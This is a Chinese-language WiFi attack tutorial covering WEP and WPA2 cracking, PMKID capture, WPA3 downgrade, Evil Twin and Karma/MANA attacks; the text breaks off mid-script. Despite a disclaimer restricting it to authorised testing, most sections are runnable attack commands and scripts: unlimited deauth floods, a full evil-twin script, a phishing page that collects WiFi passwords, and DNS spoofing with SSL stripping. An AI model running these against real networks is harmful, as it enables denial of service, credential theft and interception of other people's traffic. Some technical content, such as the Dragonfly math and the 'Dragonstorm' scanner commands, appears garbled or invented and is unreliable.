一、引言:无线安全的现状与挑战
无线网络已成为现代信息基础设施的"最后一公里"。从家庭路由器到企业级无线局域网(WLAN),从咖啡馆的免费WiFi到智慧城市的物联网骨干,WiFi承载着全球数十亿设备的日常通信。然而,无线介质的开放性使其天然面临比有线网络更复杂的安全威胁。
据2025年安全机构统计,全球仍有超过35%的WiFi网络使用WPA2-PSK甚至更弱的加密协议,约12%的企业AP存在配置不当导致的信息泄露风险。WPA3协议自2018年发布以来渗透率不足40%,大量终端和AP仍停留在过渡阶段,这为攻击者留下了广阔的利用空间。
本文将从WiFi安全基础出发,系统讲解802.11协议族、WEP/WPA/WPA2/WPA3加密体系、监控模式侦察、各类破解技术(WEP/WPA2 PSK/PMKID)、WPA3新协议安全分析、Evil Twin与Karma攻击、企业级802.1X攻击、蓝牙与无线外设攻击面,以及企业加固与取证检测方法。
【提示】 本文所有技术内容仅用于授权渗透测试、安全研究与教学学习。未经授权对他人无线网络进行破解、嗅探、干扰属违法行为,可能违反《网络安全法》《无线电管理条例》及相关刑法条款。读者须在自有测试环境或获得书面授权的范围内实践。
二、WiFi安全基础
2.1 802.11协议族详解
IEEE 802.11标准族定义了无线局域网的物理层(PHY)与介质访问控制层(MAC)。各代标准在频段、调制、速率、MIMO能力上持续演进:
| 协议标准 | 发布年份 | 频段 | 最大速率 | 调制方式 | 信道带宽 | 关键特性 |
|---|---|---|---|---|---|---|
| 802.11a | 1999 | 5GHz | 54Mbps | OFDM | 20MHz | 首次引入OFDM,抗干扰强 |
| 802.11b | 1999 | 2.4GHz | 11Mbps | DSSS/CCK | 20MHz | 成本低,普及广 |
| 802.11g | 2003 | 2.4GHz | 54Mbps | OFDM | 20MHz | 向下兼容b |
| 802.11n (WiFi 4) | 2009 | 2.4/5GHz | 600Mbps | MIMO-OFDM | 20/40MHz | 引入MIMO,4路空间流 |
| 802.11ac (WiFi 5) | 2013 | 5GHz | 6.9Gbps | MU-MIMO | 20/40/80/160MHz | 高频段高带宽 |
| 802.11ax (WiFi 6) | 2019 | 2.4/5GHz | 9.6Gbps | OFDMA | 20-160MHz | 高密度,OFDMA |
| 802.11be (WiFi 7) | 2024 | 2.4/5/6GHz | 46Gbps | MLO+OFDMA | 20-320MHz | 多链路,320MHz信道 |
从安全视角看,协议演进带来了新攻击面:6GHz频段(WiFi 6E/WiFi 7)的引入扩大了扫描范围;OFDMA的子信道分配可能被用于定向干扰;多链路操作(MLO)增加了跨频段关联的复杂度。
2.2 WiFi认证与关联流程
无线客户端(STA)接入AP需经历扫描、认证、关联、密钥协商四个阶段:
- 扫描阶段:STA主动发送Probe Request(广播或定向SSID),或被动监听Beacon帧。AP响应Probe Response或周期性广播Beacon(默认每100ms)。
- 开放式系统认证:STA发送Authentication Request,AP回复Authentication Response。此阶段仅做身份声明,WPA/WPA2下无实际加密验证。
- 关联阶段:STA发送Association Request携带支持的加密套件与RSN信息元素(RSN IE),AP回复Association Response,分配关联ID(AID)。此后STA进入"已关联但未授权"状态。
- 密钥协商阶段 :
- WPA2-Personal:执行4-Way Handshake,基于PSK派生PTK。
- WPA3-Personal:执行SAE握手,基于离散对数难题抗离线字典攻击。
- WPA2/3-Enterprise:先完成802.1X/EAP认证,再执行4-Way Handshake。
- 组密钥更新:AP下发GTK用于组播/广播流量加密,周期性轮换。
2.3 加密协议演进
| 加密协议 | 全称 | 密钥长度 | 加密算法 | 安全强度 | 漏洞状态 |
|---|---|---|---|---|---|
| WEP | Wired Equivalent Privacy | 40/104位 | RC4流密码 | 极弱 | 已完全破解 |
| TKIP | Temporal Key Integrity Protocol | 128位 | RC4+MIC | 弱 | Beck-Tews攻击可解密 |
| CCMP | Counter Mode CBC-MAC Protocol | 128位 | AES-CCM | 强 | 未见实际破解 |
| GCMP | Galois/Counter Mode Protocol | 128/256位 | AES-GCM | 强 | WPA3使用,理论更高效 |
2.4 WPA/WPA2/WPA3对比
| 特性 | WPA | WPA2 | WPA3-Personal | WPA3-Enterprise |
|---|---|---|---|---|
| 发布年份 | 2003 | 2004 | 2018 | 2018 |
| 个人认证 | PSK | PSK | SAE | SAE |
| 企业认证 | 802.1X/EAP | 802.1X/EAP | 802.1X/EAP | 802.1X/EAP-192 |
| 数据加密 | TKIP | CCMP(强制) | CCMP/GCMP | GCMP-256 |
| 密钥管理 | 4-Way HS | 4-Way HS | SAE+4-Way HS | SAE+4-Way HS |
| 抗离线字典 | 否 | 否 | 是 | 是 |
| 前向保密 | 否 | 否 | 是 | 是 |
| PMF保护 | 可选 | 可选 | 强制 | 强制 |
| 加密套件 | TKIP | CCMP | CCMP/GCMP-256 | GCMP-256 |
2.5 无线安全威胁模型
WiFi面临的主要威胁类别:
- 机密性威胁:流量嗅探、握手捕获、明文凭证泄露
- 完整性威胁:帧注入、ARP投毒、DNS劫持
- 可用性威胁:Deauth泛洪、CTS/RTS泛洪、信道干扰
- 认证威胁:Evil Twin、Karma、凭据钓鱼
- 降级威胁:WPA3→WPA2过渡降级、加密套件降级
- 侧信道威胁:时序攻击、功耗分析、电磁泄漏
三、无线网卡与监控模式
3.1 网卡芯片选型指南
无线安全测试对网卡的监控模式(Monitor Mode)、帧注入(Frame Injection)能力要求极高。不同芯片驱动支持差异显著:
| 芯片厂商 | 代表型号 | 驱动 | Monitor | 注入 | 兼容性 | 推荐场景 |
|---|---|---|---|---|---|---|
| Atheros | AR9271 | ath9k_htc | 优秀 | 优秀 | Linux原生 | 经典首选,aircrack推荐 |
| Atheros | AR2425/AR5008 | ath5k/ath9k | 优秀 | 优秀 | Linux原生 | 老设备复用 |
| Ralink | RT3070 | rt2800usb | 良好 | 良好 | 较好 | 性价比之选 |
| Ralink | RT5572 | rt2800usb | 良好 | 良好 | 较好 | 双频5GHz支持 |
| Realtek | RTL8812AU | rtl8812au | 良好 | 良好 | 需编译驱动 | 5GHz AC,高速 |
| Realtek | RTL8821CU | rtl8821cu | 一般 | 一般 | 需编译驱动 | 迷你USB |
| Mediatek | MT7612U | mt76 | 良好 | 良好 | Linux内核 | 新设备推荐 |
| Broadcom | BCM4360 | wl(闭源) | 差 | 差 | 有限 | 不推荐 |
【提示】 购买网卡时务必确认芯片型号而非品牌。许多"高功率网卡"实际使用兼容性差的芯片。Alfa AWUS036NHA(AR9271)与AWUS036ACH(RTL8812AU)是社区公认的安全测试利器。
3.2 监控模式激活
监控模式使网卡从"只接收发往自己的帧"切换为"接收空中所有802.11帧",是无线侦察的基础。
查看当前网卡状态与可能的干扰进程:
bash
# 查看无线接口
iwconfig
iw dev
# 检查可能干扰monitor模式的进程
sudo airmon-ng check
# 杀死干扰进程(NetworkManager等)
sudo airmon-ng check kill
# 激活monitor模式(传统方式)
sudo airmon-ng start wlan0
# 现代方式(推荐)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
激活后网卡通常重命名为wlan0mon或wlanXmon。验证模式:
bash
iw dev wlan0mon info
# 输出应包含 type monitor
3.3 信道扫描与锁定
802.11信道分为2.4GHz(1-14)与5GHz(36-165,部分受管制)。扫描时需明确目标信道以提高效率。
bash
# 查看当前信道
iw dev wlan0mon info
# 查看可用信道与频率
iw list | grep -A 10 "Frequencies"
# 锁定到信道6(2.4GHz)
sudo iw dev wlan0mon set channel 6
# 锁定到5GHz信道149(HT40+扩展)
sudo iw dev wlan0mon set channel 149 HT40+
# 锁定到5GHz信道36(80MHz宽度,需支持ac)
sudo iw dev wlan0mon set channel 36 80MHz
【提示】 一张网卡同一时刻只能监听一个信道(或一个HT/VHT带宽内的连续信道)。多信道并行侦察需要多张网卡或快速跳频。锁定目标AP所在信道后再进行后续攻击可显著提升成功率。
3.4 airodump-ng扫描详解
airodump-ng是aircrack-ng套件的核心侦察工具,用于发现AP与已关联客户端。
bash
# 基础扫描,显示所有信道
sudo airodump-ng wlan0mon
# 指定信道扫描
sudo airodump-ng -c 6 wlan0mon
# 指定频段(a=5GHz, b/g=2.4GHz)
sudo airodump-ng --band a wlan0mon
sudo airodump-ng --band bg wlan0mon
# 写入文件并指定输出格式
sudo airodump-ng -c 6 --write recon --output-format pcap,csv,kismet wlan0mon
# 只显示特定BSSID
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 wlan0mon
# 显示隐蔽SSID(长度与内容探测)
sudo airodump-ng --berlin 60 wlan0mon
airodump-ng输出字段含义:
BSSID PWR Beacons #Data CH ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -45 123 256 6 WPA2 CCMP PSK HomeWiFi
AA:BB:CC:DD:EE:FF -67 45 10 11 WPA3 GCMP SAE CorpNet
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 11:22:33:44:55:66 -50 1e-54 0 12 HomeWiFi
关键字段说明:PWR为信号强度(越接近0越强);Beacons为收到的信标数;#Data为数据帧数;ENC为加密协议;CIPHER为加密套件;AUTH为认证方式;Probe列显示客户端主动探测的SSID历史。
3.5 完整侦察流程
bash
#!/bin/bash
# recon.sh - 完整无线侦察流程
INTERFACE=wlan0mon
OUTPUT_DIR=/tmp/wifi_recon
mkdir -p $OUTPUT_DIR
# 1. 检查并杀死干扰进程
sudo airmon-ng check kill
# 2. 激活monitor模式
sudo airmon-ng start wlan0
sleep 2
# 3. 宽频段扫描60秒,记录所有AP
sudo timeout 60 airodump-ng $INTERFACE \
--write $OUTPUT_DIR/all_aps \
--output-format pcap,csv,kismet,kml
# 4. 解析CSV找出加密协议分布
echo "=== 加密协议统计 ==="
awk -F, '/,/{print $7}' $OUTPUT_DIR/all_aps-01.csv | \
sort | uniq -c | sort -rn
echo "=== 信号最强的5个AP ==="
awk -F, 'NR>2 && $3!="" {print $3","$14}' $OUTPUT_DIR/all_aps-01.csv | \
sort -t, -k1 -n | head -5
# 5. 查找隐藏SSID的AP
echo "=== 隐藏SSID AP ==="
awk -F, 'NR>2 && $14=="\x20\x20\x20\x20\x20\x20\x20"{print $1","$4}' \
$OUTPUT_DIR/all_aps-01.csv
# 6. 查找使用弱加密(WEP/TKIP)的AP
echo "=== 弱加密AP ==="
awk -F, 'NR>2 && ($7 ~ /WEP/ || $8 ~ /TKIP/){print $1","$4","$7","$8}' \
$OUTPUT_DIR/all_aps-01.csv
echo "侦察完成,结果保存于 $OUTPUT_DIR"
四、WEP破解(历史参考)
【提示】 WEP于2003年被WPA正式取代,2004年WPA2发布后WEP彻底废弃。本节仅作历史原理学习与现代遗留设备识别参考。对仍在使用WEP的设备,正确做法是立即升级而非"破解"。
4.1 WEP加密原理与漏洞
WEP采用RC4流密码,使用24位初始向量(IV)与40位或104位密钥组合作为RC4种子。其致命缺陷在于:
- IV空间过小:24位IV仅有1677万个可能值,高流量下数小时内必然重复。
- IV重用攻击:相同IV+相同密钥生成相同密钥流,两段密文异或可得明文异或,统计分析可还原明文。
- FMS攻击(Fluhrer, Mantin, Shamir 2001):RC4密钥调度算法(KSA)存在弱密钥,特定IV前缀会泄露密钥字节。收集足够多弱IV即可逐字节恢复密钥。
- PTW攻击(Tews, Weinmann, Pyshkin 2007):改进版,利用扩展的Klein攻击,所需数据量大幅减少,通常2-5万帧即可破解104位WEP。
4.2 aircrack-ng WEP破解全流程
bash
# 1. 锁定目标AP信道
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 \
--write wep_target --output-format pcap wlan0mon
# 2. 被动收集IV(慢,需大量流量)
# 保持airodump-ng运行,等待自然IV积累
# 3. ARP请求注入加速IV生成(新终端)
sudo aireplay-ng -3 -b 00:11:22:33:44:55 \
-h 11:22:33:44:55:66 wlan0mon
# -3 为ARP重放攻击模式
# 4. 若无客户端流量,使用伪造ARP(deauth触发重连)
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 \
-c 11:22:33:44:55:66 wlan0mon
# 5. 当airodump-ng显示#IV超过20000-40000时开始破解
sudo aircrack-ng -z wep_target-01.cap
# -z 使用PTW攻击算法(比FMS高效)
4.3 碎片化攻击
当无法获得ARP包时,KoreK碎片化攻击通过注入构造特殊数据帧迫使AP回复,间接生成IV:
bash
# 碎片化攻击模式
sudo aireplay-ng -5 -b 00:11:22:33:44:55 \
-h 11:22:33:44:55:66 wlan0mon
# 咖啡拿铁攻击(Caffe Latte,无客户端场景)
sudo aireplay-ng -6 -b 00:11:22:33:44:55 \
-h 11:22:33:44:55:66 wlan0mon
# Hirte攻击(无客户端,利用ARP探测)
sudo aireplay-ng -7 -b 00:11:22:33:44:55 \
-h 11:22:33:44:55:66 wlan0mon
4.4 破解时间评估
| 攻击方式 | 所需IV数 | 自然流量耗时 | 注入加速耗时 | 成功率 |
|---|---|---|---|---|
| FMS(传统) | 50000-100000 | 2-6小时 | 10-30分钟 | 高 |
| PTW(默认) | 20000-40000 | 30-90分钟 | 3-10分钟 | 极高 |
| KoreK碎片化 | 无需IV积累 | N/A | 5-15分钟 | 中 |
| Caffe Latte | 30000-80000 | N/A | 15-40分钟 | 中 |
五、WPA/WPA2 PSK破解
5.1 四次握手原理详解
WPA2-Personal的核心是四次握手(4-Way Handshake),用于从PSK派生会话密钥:
-
第一次握手:AP生成随机数ANonce发送给STA。此时双方均已知PMK(由SSID+Passphrase通过PBKDF2-HMAC-SHA1派生,4096次迭代)。
-
第二次握手:STA生成随机数SNonce,结合ANonce、SNonce、双方MAC地址计算PTK:
PTK = PRF(PMK, ANonce, SNonce, AP_MAC, STA_MAC) PTK分为KCK(16B)、KEK(16B)、TK(16B)等子密钥STA用KCK对消息做MIC发送给AP。
-
第三次握手:AP验证MIC,正确则生成相同的PTK。AP安装TK并下发GTK(组临时密钥,用KEK加密),附MIC。
-
第四次握手:STA收到GTK,安装密钥,回复ACK确认。双方PTK与GTK就绪,数据加密开始。
【提示】 四次握手中第一次与第二次握手包包含了ANonce和SNonce,加上双方MAC地址(在帧头中可见),攻击者捕获这两个包即可在离线状态下验证密码候选。这就是WPA2-PSK可被离线字典攻击的根本原因。
5.2 握手包捕获全流程
bash
# 1. 锁定目标AP信道并开始捕获
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 \
--write wpa2_handshake --output-format pcap wlan0mon
# 2. 观察是否有已关联客户端(STATION列)
# 若有客户端,执行deauth强制其重连以触发握手
# 3. 发送deauth帧(新终端)
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 \
-c 11:22:33:44:55:66 wlan0mon
# -0为deauth攻击,5为发送次数
# 4. 广播deauth(针对所有客户端)
sudo aireplay-ng -0 10 -a 00:11:22:33:44:55 wlan0mon
# 5. 检查握手包是否已捕获
# airodump-ng右上角显示 WPA handshake: 00:11:22:33:44:55 表示成功
sudo tcpdump -r wpa2_handshake-01.cap | grep -E "EAPOL"
5.3 deauth认证攻击详解
deauth攻击利用802.11管理帧未加密的特性,伪造AP或客户端的deauthentication帧断开连接:
bash
# 精准deauth单个客户端(5次)
sudo aireplay-ng -0 5 -a AP_MAC -c CLIENT_MAC wlan0mon
# 持续deauth(0表示无限,谨慎使用,影响服务)
sudo aireplay-ng -0 0 -a AP_MAC wlan0mon
# 使用mdk4进行更隐蔽的deauth
sudo mdk4 wlan0mon d -b AP_MAC -c CLIENT_MAC
# d = deauth/disassoc模式
# mdk4 指标deauth(针对AP发射,断开所有客户端)
sudo mdk4 wlan0mon d -b AP_MAC
【提示】 WPA3的PMF(Protected Management Frames,802.11w)对管理帧加密,可有效防御deauth攻击。但PMF需AP与客户端同时支持,过渡期大量设备仍不启用PMF,deauth依然有效。
5.4 PMKID攻击(无需客户端)
PMKID是WPA2中AP在第一次握手前可主动发送的标识,用于快速漫游。并非所有AP都发送PMKID,但发送的AP允许攻击者在无客户端场景下获取验证材料。
bash
# 使用hcxdumptool捕获PMKID(推荐)
sudo hcxdumptool -i wlan0mon \
--enable_status=1 \
-o pmkid_dump.pcapng \
--filter_list=00:11:22:33:44:55
# 使用hcxtools转换格式
sudo hcxpcapngtool -o pmkid_hash.hc22000 \
-E essidlist pmkid_dump.pcapng
# 直接用aircrack-ng套件的 aireplay-ng 尝试
sudo aireplay-ng -1 0 -a 00:11:22:33:44:55 wlan0mon
# 检查是否获取PMKID
hcxpcapngtool pmkid_dump.pcapng | grep -i pmkid
5.5 在线与离线破解对比
| 破解方式 | 攻击位置 | 是否需客户端 | 速度 | 检测难度 | 适用场景 |
|---|---|---|---|---|---|
| 在线字典 | 认证接口 | 否 | 慢(受AP限速) | 易被锁定 | 弱密码+无防护AP |
| 离线字典(握手包) | 本地GPU | 需捕获握手 | 快(GPU并行) | 不可检测 | 标准WPA2-PSK |
| PMKID离线 | 本地GPU | 否 | 快 | 不可检测 | 支持PMKID的AP |
| 彩虹表(预计算PMK) | 本地 | 依赖SSID | 极快(查表) | 不可检测 | 常见SSID密码 |
5.6 hashcat破解GPU加速
bash
# 将pcap转换为hashcat格式(hc22000)
hcxpcapngtool -o hash.hc22000 \
--essid-pos=1 wpa2_handshake-01.cap
# hashcat WPA2模式(-m 22000为新格式,兼容PMKID)
sudo hashcat -m 22000 hash.hc22000 wordlist.txt
# WPA2-PBKDF2旧格式(-m 00 等同,已不推荐)
# 推荐使用22000统一格式
# GPU指定(CUDA)
sudo hashcat -m 22000 -D 2 --backend-devices=0 \
hash.hc22000 wordlist.txt
# 暴力掩码攻击(8位小写字母)
sudo hashcat -m 22000 hash.hc22000 \
-a 3 ?l?l?l?l?l?l?l?l
# 规则攻击(基于基础字典变换)
sudo hashcat -m 22000 hash.hc22000 wordlist.txt \
-r /usr/share/hashcat/rules/best64.rule
# 增量攻击(尝试所有长度组合)
sudo hashcat -m 22000 hash.hc22000 \
-a 3 -i --increment-min=8 --increment-max=12 ?a?a?a?a?a?a?a?a
5.7 字典优化技巧
bash
# 1. 使用经典rockyou字典(约14M条)
wget https://github.com/brannondorsey/naive-hashcat/\
releases/download/data/rockyou.txt
# 2. 合并多字典并去重
cat dict1.txt dict2.txt dict3.txt | \
awk 'length>=8{print}' | sort -u > merged.txt
# 3. 针对中文WiFi默认密码(8位数字)生成
crunch 8 8 0123456789 -o numeric_8.txt
# 4. 针对路由器默认密码模式(前缀+数字)
crunch 10 10 -t TP-LINK@%%% -o tplink_pattern.txt
# 5. 使用cewl从目标相关网页生成专属字典
cewl -d 2 -m 6 -w custom_dict.txt https://target-site.com
# 6. 使用psychpowder生成中国常见WiFi密码
# (社区维护的中文场景字典)
5.8 破解策略与时间评估
| 密码复杂度 | 示例 | GPU(RTX4090)预估 | 字典策略 | 实际成功率 |
|---|---|---|---|---|
| 8位纯数字 | 12345678 | <1秒 | 数字字典 | 极高 |
| 8位字母 | abcdwxyz | 约3分钟 | 小写掩码 | 高 |
| 8位混合 | aB3xY9!q | 约2小时 | best64规则 | 中 |
| 10位混合 | Tr0ub4dor3 | 约3天 | 规则+掩码 | 低 |
| 12位随机 | xK9!mP2$vQ7r | 数百年 | 不现实 | 极低 |
| 中文短语 | woaini2014 | 约30分钟 | 拼音字典 | 中 |
六、WPA3安全分析
6.1 SAE原理
WPA3-Personal用SAE(Simultaneous Authentication of Equals,对等同步认证)替代PSK四次握手。SAE基于Dragonfly密钥交换协议,核心思想是双方通过离散对数难题协商密钥,使被动观察者无法验证密码候选。
SAE流程简化描述:
- 双方各自生成随机私钥,结合密码派生出PW元素映射到椭圆曲线点。
- 交换各自的"提交"(Commit),包含曲线点坐标与随机标量。
- 双方验证对方提交的合法性,验证通过则派生共享密钥。
- 后续执行Confirm交换确认密钥一致,再进入传统4-Way Handshake派生PTK。
关键安全特性:
- 抗离线字典:攻击者无法在本地验证密码,每次尝试必须与AP在线交互,受AP速率限制。
- 前向保密:即使长期密码泄露,历史会话密钥仍安全。
- 抗重放:每次SAE使用新随机数。
6.2 Dragonfly握手详解
Dragonfly协议(RFC7664)的完整数学过程:
1. 密码元素派生:
pwd = H(password, salt) # 派生标量
PE = hash_to_curve(pwd) # 映射到椭圆曲线点
2. Commit阶段(双方对称执行):
选随机私钥 r1, r2
标量 s = (r1 + r2) mod q
元素 P = r1 * PE + r2 * G (G为基点)
发送 (s, P) 给对方
3. 密钥计算:
验证对方 P != O(无穷远点)
z = (s * P - P_element) 几何运算
K = H(z)
4. Confirm阶段:
双方交换HMAC确认K一致
6.3 WPA3-Personal vs WPA3-Enterprise对比
| 特性 | WPA3-Personal | WPA3-Enterprise |
|---|---|---|
| 认证方式 | SAE密码 | 802.1X+EAP |
| 密钥强度 | 192位(可选) | 192位(强制) |
| 加密套件 | CCMP-128或GCMP-256 | GCMP-256 |
| 密钥派生 | SAE Dragonfly | EAP+4-Way HS |
| 适用场景 | 家庭/小型办公 | 企业/政府 |
| 证书要求 | 无 | 需CA证书 |
| 密码策略 | ≥13位建议 | 依赖策略 |
| PMF | 强制 | 强制 |
6.4 WPA3降级攻击
降级攻击利用WPA3-WPA2混合模式(Transition Mode)的兼容性缺陷:
bash
# 使用Eaphammer创建伪AP,强制降级到WPA2
sudo eaphammer --bssid 00:11:22:33:44:55 \
--essid "TargetWPA3" --channel 6 \
--auth wpa2-psk --wpa2-passphrase "test1234" \
--interface wlan0mon
# 或使用hostapd-wpe配置降级
# hostapd.conf片段
cat > downgrade.conf << 'EOF'
interface=wlan0
ssid=TargetWPA3
wpa=2
wpa_key_mgmt=WPA-PSK SAE
wpa_passphrase=test1234
rsn_pairwise=CCMP
sae_password=test1234
pmf=2
EOF
sudo hostapd downgrade.conf
当支持WPA3的客户端因信号问题或固件bug回退到WPA2-PSK时,攻击者可捕获传统握手包进行离线破解。这是混合模式部署的主要风险。
【提示】 防御降级攻击的关键是AP关闭WPA2-PSK回退支持,仅保留SAE或802.1X认证模式。但实际部署中为兼容旧设备,混合模式仍普遍存在,形成过渡期安全真空。
6.5 Dragonstorm漏洞(CVE-2023-52174)
Dragonstorm是2024年披露的WPA3 SAE实现漏洞集合,影响多厂商:
- Side-channel leaks:SAE的有限域运算(模逆、标量乘)存在时序侧信道,可泄露私钥位。
- Invalid curve attacks:部分实现对输入点验证不严,攻击者发送非曲线点可逐字节恢复密钥。
- Commit flooding:SAE状态机对大量Commit请求处理不当,导致内存耗尽DoS。
bash
# 检测目标AP的SAE实现是否受Dragonstorm影响(概念性)
sudo python3 dragonstorm_scanner.py \
--target 00:11:22:33:44:55 \
--interface wlan0mon \
--probe-count 1000
# 触发SAE握手并分析响应时序
sudo hcxdumptool -i wlan0mon \
--active_beacon=00:11:22:33:44:55 \
--sae_timeout_analysis
6.6 SAE侧信道攻击
侧信道攻击通过测量SAE握手的时序差异推断密码信息:
- Cache-timing:模逆运算的查表行为泄露密钥位。
- Power analysis:智能设备(IoT)的SAE功耗曲线可区分有效/无效Commit。
- Electromagnetic:近距离电磁探头读取芯片运算特征。
防御需采用常时间实现(constant-time implementation)与点验证加固。
6.7 WPA3与WPA2安全性对比
| 安全维度 | WPA2-PSK | WPA3-Personal | 提升点 |
|---|---|---|---|
| 离线字典 | 可行 | 不可行 | 根本性提升 |
| 前向保密 | 无 | 有 | 历史会话安全 |
| 管理帧保护 | 可选 | 强制 | 抗deauth |
| 密钥长度 | 128位 | 128/192位 | 可选增强 |
| 漫游安全 | Fast BSS Transition | SAE+FT | 更强 |
| 已知漏洞 | KRACK | Dragonstorm(实现层) | 协议层更稳 |
| 过渡风险 | 无 | 降级攻击 | 需强制SAE |
七、Evil Twin攻击
7.1 恶意AP搭建原理
Evil Twin(邪恶双子)指部署一个与合法AP相同SSID(甚至相同BSSID)的伪造AP,诱导客户端关联。利用客户端"信号优先"或"自动连接"机制完成劫持。
攻击成功条件:
- 伪造AP信号更强或合法AP被DoS
- 客户端配置为自动连接该SSID
- 客户端不验证AP身份(无证书绑定)
7.2 airgeddon使用
airgedden是集成化的无线攻击框架,提供菜单式Evil Twin部署:
bash
# 克隆并启动airgeddon
git clone https://github.com/v1s1t0r1/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh
# 菜单流程:
# 5) Evil Twin attack menu
# 选择网卡(需支持注入)
# 选择目标SSID与信道
# 选择是否含deauth(DoS+Evil Twin组合)
# 选择钓鱼页面模板
# 选择DHCP与NAT配置
7.3 wifiphisher实战
wifiphisher是自动化Evil Twin与钓鱼工具:
bash
# 安装
sudo apt install wifiphisher
# 基础Evil Twin + 钓鱼页面
sudo wifiphisher -a wlan0mon -j wlan1 \
-e "TargetSSID" -p 6 \
--phishing-scenario 1
# 场景1:固件升级页面(要求输入PSK)
# 场景2:Google登录页面
# 场景4:路由器管理页面
# 仅deauth不断开客户端,避免反常
sudo wifiphisher -a wlan0mon -j wlan1 \
-e "TargetSSID" -p 6 \
--no-jamming --phishing-scenario 1
# 自定义钓鱼页面
sudo wifiphisher -a wlan0mon -j wlan1 \
--phishing-html /path/to/custom.html
7.4 captive portal钓鱼页面
html
<!-- firmware_upgrade.html 简化示例 -->
<div class="login-box">
<h2>路由器固件升级</h2>
<p>检测到安全更新,请验证WiFi密码以继续</p>
<input type="password" name="psk" placeholder="WiFi密码">
<button onclick="submitCreds()">升级</button>
</div>
<script>
function submitCreds(){
fetch('/capture',{method:'POST',
body:JSON.stringify({psk:document.querySelector('[name=psk]').value})
});
}
</script>
7.5 HTTPS降级攻击
客户端访问HTTPS站点时,钓鱼AP可:
- DNS劫持将目标域名指向本地。
- 本地服务器返回自签证书,部分客户端忽略告警。
- HSTS保护的站点无法直接降级,但可利用首次访问无HSTS缓存的窗口。
bash
# 使用bettercap实现HTTPS降级与中间人
sudo bettercap -iface wlan1
# bettercap交互命令
> set arp.spoof.targets 192.168.1.0/24
> set dns.spoof.domains google.com,facebook.com
> set dns.spoof.address 192.168.1.1
> arp.spoof on
> dns.spoof on
> http.proxy on
> set http.proxy.script sslstrip.js
7.6 完整攻击流程
bash
#!/bin/bash
# evil_twin.sh - 完整Evil Twin攻击流程
AP_IFACE=wlan0mon # 用于伪造AP
NET_IFACE=wlan1 # 用于联网/DHCP
TARGET_SSID="TargetWiFi"
TARGET_CHANNEL=6
TARGET_BSSID=00:11:22:33:44:55
# 1. 配置伪AP(hostapd)
cat > hostapd_evil.conf << EOF
interface=$AP_IFACE
ssid=$TARGET_SSID
channel=$TARGET_CHANNEL
hw_mode=g
auth_algs=1
wpa=0
EOF
# 2. 配置DHCP
cat > dnsmasq.conf << EOF
interface=$AP_IFACE
dhcp-range=10.0.0.10,10.0.0.100,12h
address=/#/10.0.0.1
EOF
# 3. 配置网络
sudo ip addr add 10.0.0.1/24 dev $AP_IFACE
sudo ip link set $AP_IFACE up
# 4. 启动DHCP
sudo dnsmasq -C dnsmasq.conf &
# 5. deauth合法AP客户端使其转向伪AP
sudo aireplay-ng -0 0 -a $TARGET_BSSID wlan2 &
# 6. 启动伪AP
sudo hostapd hostapd_evil.conf &
# 7. 启动钓鱼Web服务
cd phishing_portal && python3 server.py &
echo "Evil Twin已启动,监听10.0.0.1"
7.7 检测与防御方法
防御侧检测Evil Twin:
- 比对合法AP的BSSID与信道,发现重复SSID不同BSSID告警。
- 监测异常信号强度突变。
- 启用802.11r/802.11w PMF绑定AP身份。
- 企业部署WIDS监测同SSID多BSSID。
八、Karma与联合攻击
8.1 Karma攻击原理
Karma攻击利用客户端"Preferred Network List"(PNL)主动探测机制。当客户端曾连接过某SSID,会周期性发送Probe Request探测该SSID。Karma攻击工具对任何Probe Request都回复Probe Response声称"我就是那个AP",诱导客户端关联。
传统Karma对"任意探测响应"的实现:
客户端发Probe Request (SSID="HomeWiFi")
Karma AP回复 Probe Response (声称自己是HomeWiFi)
客户端认为是已知网络 -> 关联 -> 被劫持
8.2 现代设备防护分析
现代OS(iOS/Android/Windows 10+)改进了探测机制:
- 定向探测:仅对已知网络发送含SSID的Probe Request。
- 随机MAC探测:扫描期间使用随机MAC,关联时切换真实MAC。
- Probe Response验证:部分系统验证AP的RSN IE与已知配置匹配。
但定向探测在以下情况仍泄露PNL:
- "隐藏SSID"网络:客户端必须主动探测。
- 过渡期未升级的旧设备。
- iOS/Android在某些状态下使用广播探测优化漫游。
8.3 Beacon响应泛洪
针对现代设备,攻击者主动广播大量Beacon,声称是各种常见SSID,客户端匹配到已保存网络即尝试关联:
bash
# 使用mdk4 beacon泛洪
sudo mdk4 wlan0mon b -n 100 \
-s 1000 -c 6
# -b beacon模式, -n 发送100个不同SSID
# -s 1000包/秒, -c 信道6
# 生成常见SSID列表
cat > ssids.txt << 'EOF'
home
HomeWiFi
NETGEAR
Linksys
TP-LINK_2.4
xfinitywifi
attwifi
Starbucks
FreeWiFi
iPhone
EOF
# 使用wifiphisher的Lure10模式
sudo wifiphisher -a wlan0mon -j wlan1 \
--lure10-list ssids.txt \
--no-jamming
8.4 PKF攻击与MANA攻击
MANA攻击(由Dominic White与Ian de Villiers提出)是Karma的升级版,解决定向探测问题:
- 被动收集Probe Request建立"已知PNL数据库"。
- 对每个客户端维护其探测过的SSID列表。
- 仅对该客户端探测过的SSID回复Probe Response。
- 结合Beacon泛洪扩展触达。
bash
# 使用hostapd-mana实现MANA攻击
cat > mana.conf << 'EOF'
interface=wlan0
ssid=ignore
channel=6
mana_wpaout=/tmp/mana.hashes
mana_loud=1
mana_macacl=1
EOF
sudo hostapd-mana mana.conf
8.5 Lure10攻击
Lure10是wifiphisher内置的高级Karma变体:
bash
# Lure10 模式
sudo wifiphisher -a wlan0mon -j wlan1 \
--lure10-exploit \
--lure10-list top_ssids.txt \
--no-jamming --phishing-scenario 1
Lure10通过广播目标设备历史SSID列表中的常见项,绕过定向探测限制,诱导关联。
8.6 完整利用流程
bash
#!/bin/bash
# karma_attack.sh
AP_IFACE=wlan0
NET_IFACE=wlan1
# 1. 被动收集Probe Request建立PNL库
sudo timeout 300 hcxdumptool -i $AP_IFACE \
--enable_status=1 \
-o probe_collect.pcapng \
--filter_mode=2
# 2. 提取SSID列表
hcxpcapngtool probe_collect.pcapng -E ssids_collected.txt
# 3. 启动MANA攻击(hostapd-mana)
